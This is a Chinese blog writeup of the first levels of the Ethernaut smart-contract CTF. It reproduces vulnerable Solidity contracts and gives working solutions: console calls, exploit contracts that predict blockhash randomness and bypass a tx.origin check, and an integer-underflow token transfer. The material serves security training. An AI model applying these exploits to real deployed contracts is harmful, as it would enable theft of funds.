智能合约CTF:Ethernaut Writeup Part 1

2018-05-24 17:31 区块链 智能合约

一、概述

智能合约(Smart Contract)是以太坊中最为重要的一个概念,即以计算机程序的方式来缔结和运行各种合约。最早在上世纪 90 年代,NickSzabo 等人就提出过类似的概念,但一直依赖因为缺乏可靠执行智能合约的环境,而被作为一种理论设计。区块链技术的出现,恰好补充了这一缺陷。

以太坊支持通过图灵完备的高级语言(包括 Solidity、Serpent、Viper)等来开发智能合约。智能合约作为运行在以太坊虚拟机(Ethereum Virual Machine,EVM)中的应用,可以接受来自外部的交易请求和事件,通过触发运行提前编写好的代码逻辑,进一步生成新的交易和事件,并且可以进一步调用其它智能合约。

随着区块链技术的兴起,以及智能合约应用越来越广泛,不过大部分还处于功能实现阶段,安全问题也接二连三地暴露出来。我们在进行开发的同时,也要时刻警惕可能出现的安全问题。感谢Zeppelin,为智能合约出了一套CTF题目 —— Ethernaut。通过对CTF模拟题的训练学习,可以更好地理解漏洞的原理和熟悉漏洞利用方式,对安全开发、安全测试审计人员等都有较大的帮助。

二、Ethernaut

图片名称
图1

Ethernaut是一个基于Web3和Solidity并运行在EVM上的战争游戏,灵感来源于overthewire.org和漫画El Eternauta,以攻克关卡的形式逐步升级。

地址:https://ethernaut.zeppelin.solutions

做这套题目,最让人高兴欢喜的莫过于每一关通关时候的completed画面啦。

图片名称
图2
图片名称
图3

三、准备工作

1 交互界面:使用chrome,插件 MetaMask 指向Ropsten test network,然后打开F12,即可在console看到。

图片名称
图4

2 查看账号与余额:player 查看自己的账号,getBalance("")查看账号余额

3 获取 Ether : 通过 https://faucet.metamask.io/ 获取 Ether 来玩。

4 Remix-ide : http://remix.ethereum.org 以太坊官方编辑器,做题时会使用到。

四、关卡分析

0.Hello Ethernaut

关卡说明:

本关卡帮助你了解游戏的基本操作。

解题方法:

contract.info1()
contract.info2("hello") // The property infoNum holds the number of the next info method to call.
contract.infoNum() // 42
contract.info42() // theMethodName is the name of the next method.
contract.theMethodName() // The method name is method7123949.
contract.method7123949() // If you know the password, submit it to authenticate().
contract.password()  // ethernaut0
contract.authenticate("ethernaut0")  // 完成此步后,点击submit instance即可过关。

1.Fallback

关卡说明:

仔细观察下面的合约代码。你的目标是:

1. 获取合约所有权
2. 获取所有合约的余额

题目代码:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public { // 构造函数,初始化owner的contributions为1000ether
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable { //当你贡献的ether大于owner时,你将变成owner
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) { // 查看contributions[msg.sender]
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner { // owner收回合约上的所有余额,onlyOwner表示此函数只有owner能调用。
    owner.transfer(this.balance);
  }

  function() payable public { // fallback 函数,调用交易的时候执行。
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

解题方法:

fallback 能够将msg.sender变成owner,而条件是msg.valuecontributions[msg.sender]都大于0。其中msg.value在发起交易的时候amount大于0就行,而contributions[msg.sender]要先调用contribute()函数给合约充点钱。所以解题过程如下:

1 点击题目页面上的Get new instance ,并在 MetaMask 点 submit 部署合约

2 F12 console 中执行 contract.contribution({value:1}) 先给合约打点钱。

图片名称
图5

3 contract.address 查看合约地址,然后使用chrome插件MetaMask直接向合约打钱,可以调用fallback函数。这样owner就变成我们了。

图片名称
图6
图片名称
图7

4 contract.withdraw() 获得合约的所有余额。

5 点击题目页面上的 Submit instance 提交实例,过关。

2.Fallout

关卡说明:

目标是获取合约所有权

题目代码:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable { // 注意这里的Fal1out
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

解题方法:

合约名称是Fallout,构造函数Fal1out(),对不上,所以Fal1out()变成了一个全局函数,可以被任何人调用。

1 在 console 窗口里使用 contract.Fal1out() 即可完成本关。

3.Coin Flip

关卡说明:

这是一个硬币翻转游戏,你需要通过猜测硬币翻转的结果来增加你的连胜纪录。要完成这个关卡,你需要连续10次猜测出正确的结果。

题目代码:

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1)); // 注意这里的随机数生成方式

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

解题方法:

block.blockhash(block.number - 1) 表示负一高度的区块哈希,使用这种方式生成随机数,是极易被攻击利用的。

图片名称
图8

如图,一个交易是被打包在一个区块里的,通过攻击合约去调用Lottery合约,那么他们的区块信息都是一样的。

由此本题的解决方案如下:

// CoinFlipExploit.sol
pragma solidity ^0.4.18;

contract CoinFlip {

  function flip(bool _guess) public returns (bool);

}

contract Exploit {

  address public CoinFlipAddr = 0x01; // instance address

  CoinFlip coinflip = CoinFlip(CoinFlipAddr);

  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function guess() public {

    uint256 blockValue = uint256(block.blockhash(block.number-1));

    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);

    bool side = coinFlip == 1 ? true : false;

    coinflip.flip(side);

  }

}

1 修改CoinFlipExploit.sol脚本中的地址,并部署。

2 利用CoinFlipExploit合约来发起交易。

3 在F12 console来与合约交互,contract.consecutiveWins() 查看已猜对次数。

4 当猜对次数超过10次时,即可提交并完成本关。

图片名称
图9

4.Telephone

关卡说明:

目标是获取合约所有权

题目代码:

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

解题方法:

难点在于利用绕过if语句的判断。tx.origin是系统的交易变量,为交易的原始调用者,可以利用另一个来源的调用从而改变它的值。

定义:tx.origin (address): sender of the transaction (full call chain)。

如果我们直接调用题目合约,tx.origin 就与 msg.sender 相同。因此我们用另一合约去调用此合约,tx.origin 就不会与 msg.sender 相同。

// Telhack.sol
contract Telephone {
   function changeOwner(address _owner) public {}
}
contract Telhack {
    address owner;
    Telephone target = Telephone(0x01..); // 题目的地址

    function Exploit() {
        owner = msg.sender;
    }
    function hack(){
        target.changeOwner(0x02..); // 你的地址
    }
}

1 修改上面内容,并部署。

2 执行hack,即可完成本关。

图片名称
图10

5.Token

关卡说明:

本关为攻击一个简单的token合约。初始合约时你有20个token,通过本关需要你增加你的token数量(有可能是一个非常大的值)。

题目代码:

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances; // 注意这里的类型为uint
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0); // 注意这个条件,恒为真。
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

解题方法:

因为 balancesunit 类型,无符号整数,不存在负数形式,所以 balances[msg.sender] - _value >= 0 永远为真。那么当我们 _value 大于 balances[msg.sender] 时,balances[msg.sender] 就会下溢,变成一个非常大的数。

1 console中执行contract.transfer(0x01, 21) 这里的0x01为你的账户地址。balances[msg.sender] 将变成 2**256 – 1

作者:斗象能力中心TCC-Ali0th

后续关卡,敬请期待:Ethernaut Writeup Part 2

BTW, TCC team长期招聘,包含安全研究、机器学习、数据分析、大数据等职位。感兴趣不妨发简历联系我们。Email: alex.xu@tophant.com。

评论(2)

匿名

2019/03/06 11:13
我看看

匿名

2019/03/06 11:13
666

发表评论

captcha